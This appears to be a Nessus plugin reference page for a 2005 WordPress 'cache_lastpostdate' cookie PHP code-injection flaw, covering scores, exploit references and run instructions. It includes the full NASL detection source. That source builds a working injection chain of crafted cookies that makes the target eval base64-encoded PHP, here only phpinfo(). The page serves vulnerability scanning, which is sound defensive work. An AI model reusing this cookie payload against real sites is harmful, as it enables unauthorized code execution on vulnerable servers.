WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection - Nessus

Medium Plugin ID: 19414

This page contains detailed information about the WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 19414
Name: WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection
Filename: wordpress_cache_lastpostdate_code_injection.nasl
Vulnerability Published: 2005-08-09
This Plugin Published: 2005-08-11
Last Modification Time: 2021-01-19
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information

Severity: Medium
Vulnerability Published: 2005-08-09
Patch Published: N/A
CVE [?]: CVE-2005-2612
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that is affected by a PHP code injection vulnerability.

Description

The installed version of WordPress on the remote host will accept and execute arbitrary PHP code passed to the 'cache_lastpostdate' parameter via cookies if PHP's 'register_globals' setting is enabled.

Solution

Disable PHP's 'register_globals' setting.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection vulnerability:

Metasploit: exploit/unix/webapp/wp_lastpost_exec
[WordPress cache_lastpostdate Arbitrary Code Execution]
Exploit-DB: exploits/php/webapps/16895.rb
[EDB-16895: WordPress Core 1.5.1.3 - 'cache_lastpostdate' Arbitrary Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:M/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	6.8 (Medium)
Impact Subscore:	6.4
Exploitability Subscore:	8.6
CVSS Temporal Score:	5.6 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	5.6 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(19414);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2005-2612");
  script_bugtraq_id(14533);

  script_name(english:"WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection");
  script_summary(english:"Checks for cache_lastpostdate parameter PHP code injection vulnerability in WordPress.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a PHP
code injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The installed version of WordPress on the remote host will accept and
execute arbitrary PHP code passed to the 'cache_lastpostdate'
parameter via cookies if PHP's 'register_globals' setting is enabled.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/Aug/232");
  script_set_attribute(attribute:"solution", value:"Disable PHP's 'register_globals' setting.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress cache_lastpostdate Arbitrary Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/08/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/08/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2021 Tenable Network Security, Inc.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

# Construct an exploit per PoC.
#
# nb: hardcoding the final value of 'cnv' would save time but not
#     be as understandable.
cmd = "phpinfo();";
code = base64(str:cmd);
for (i=0; i<strlen(code); i++) {
  cnv += string("chr(", ord(code[i]), ").");
}
cnv += string("chr(32)");
str = base64(str:"args[0]=eval(base64_decode(" + cnv + ")).die()&"+"args[1]=x");

set_http_cookie(name: "wp_filter[query_vars][0][0][function]", value: "get_lastpostdate");
set_http_cookie(name: "wp_filter[query_vars][0][0][accepted_args]", value: "0");
set_http_cookie(name: "wp_filter[query_vars][0][1][function]", value: "base64_decode");
set_http_cookie(name: "wp_filter[query_vars][0][1][accepted_args]", value: "1");
set_http_cookie(name: "cache_lastpostmodified[server]", value: "//e");
set_http_cookie(name: "cache_lastpostdate[server]", value: str);
set_http_cookie(name: "wp_filter[query_vars][1][0][function]", value: "parse_str");
set_http_cookie(name: "wp_filter[query_vars][1][0][accepted_args]", value: "1");
set_http_cookie(name: "wp_filter[query_vars][2][0][function]", value: "get_lastpostmodified");
set_http_cookie(name: "wp_filter[query_vars][2][0][accepted_args]", value: "0");
set_http_cookie(name: "wp_filter[query_vars][3][0][function]", value: "preg_replace");
set_http_cookie(name: "wp_filter[query_vars][3][0][accepted_args]", value: "3");

# Try to exploit one of the flaws to run phpinfo().
r = http_send_recv3(method:"GET", item:dir + "/", port:port, exit_on_fail:TRUE);

# There's a problem if it looks like the output of phpinfo().
if ("PHP Version" >< r[2] && "phpinfo()" >< r[2])
{
  security_warning(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/wordpress_cache_lastpostdate_code_injection.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_cache_lastpostdate_code_injection.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/wordpress_cache_lastpostdate_code_injection.nasl

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How to Run

Here is how to run the WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection plugin ID 19414.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_cache_lastpostdate_code_injection.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

14533

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_cache_lastpostdate_code_injection.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

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WordPress Cookie 'cache_lastpostdate' Parameter PHP Code Injection - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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